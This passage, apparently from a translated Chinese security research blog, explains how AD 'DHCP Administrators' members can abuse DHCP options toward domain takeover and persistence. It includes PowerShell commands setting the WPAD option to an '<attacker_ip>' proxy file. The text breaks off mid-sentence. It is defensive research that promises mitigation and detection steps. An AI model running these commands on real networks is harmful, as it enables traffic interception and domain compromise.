介绍
从 Google Docs 到 Active Directory,访问管理几乎影响到组织中的每个角色。在讨论权限和访问控制时,如何最大限度地减少员工的挫败感而不增加不必要的风险是一个微妙的平衡——安全团队痛苦地意识到了这一点。
因此,“刚好足够的访问权限”是任何访问策略的关键要素。归根结底,每个用户都应被授予一组执行其职责所需的权限,但在其他方面应尽可能受到限制。这可以减少任何单个用户受到攻击的影响,防止横向移动和进一步利用。
尽管它可以消除大部分风险,但逐个身份管理访问权限并不现实或可行,尤其是在企业级别。相反,用户访问组根据工作职能提供通用权限——这是 AD 中最常见的概念。例如,Microsoft 提供了“DNS 管理员”组,这是一个负责管理 DNS 服务器的 AD 组。遵循“刚好足够的访问权限”原则,其成员对托管 DNS 服务器的计算机没有权限,而只有与 DNS 服务相关的配置权限。
虽然从理论上讲,这一切都是可行的,但实际上,情况却截然不同。Shay Ber 在 2017 年的研究中展示了“DNS Admins”组的成员如何滥用该组的一项特权在 DNS 服务器上执行代码,这几乎总是会导致特权升级为域管理员。
Microsoft DHCP 提供了一个类似的安全组,称为“DHCP 管理员”。在最近对 Microsoft DHCP 进行 研究时,我们想到了一个问题:使用该组查找类似的原语:DHCP 管理员可以成为域管理员吗?事实证明,有时确实可以。
在这篇博文中,我们将介绍 DHCP 管理员组,并展示如何滥用其特权之一来危害 DHCP 服务器,包括在 DHCP 服务器安装在 DC 上的情况下进行完整的域接管。
我们还将展示如何使用同样的技术来建立有趣的域持久机制,并提供实现“ DHCP 后门”的细节。
由于此技术使用 DHCP 管理员可用的合法权限和选项,因此没有像补丁这样的简单解决方案——因为不存在漏洞。为了帮助降低此技术带来的风险,我们在本博客文章中提供了详细的缓解和检测步骤。
什么是 DHCP 管理员?
DHCP管理员组是一个 AD 用户组,用于管理动态主机配置协议 (DHCP) 服务器。它允许其成员查询和修改远程服务器上的 DHCP 服务的配置。
重要的是,其成员对 DHCP 服务器计算机本身没有权限,而只能对 DHCP 服务配置有权限。这意味着 DHCP 管理员不能在 DHCP 服务器上执行代码,而只能修改与 DHCP 相关的配置。DHCP 管理员控制的配置之一是DHCP 选项。
滥用 DHCP 选项
网络客户端需要一组配置才能加入网络,其中包括 IP 地址和子网掩码、默认网关地址和 DNS 服务器等。DHCP 服务器以 DHCP 选项的形式将这些配置通告给其客户端 — 不同的配置与定义的选项 ID 相结合,并由客户端查询(图 1)。
DHCP 客户端请求其所需的选项,并根据响应修改其网络配置。由于能够在服务器上控制这些选项的值,因此客户端请求的每个选项都可能被攻击者滥用来注入恶意配置。
为了了解 Windows 客户端上的潜在攻击面,我们可以检查默认请求的选项(图 2)。
代理自动发现
我们可以看到,请求的配置之一是“代理自动发现”选项(图 2 中以蓝色突出显示),用于自动配置 Web 代理(WPAD )。此选项允许 DHCP 服务器指定“ wpad.dat ”文件的 URL ,该文件包含客户端要使用的代理设置。
我们可以通过运行以下 PowerShell 命令来配置此选项并将我们的地址指定为代理:
Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0
设置此选项后,我们看到 Windows 客户端在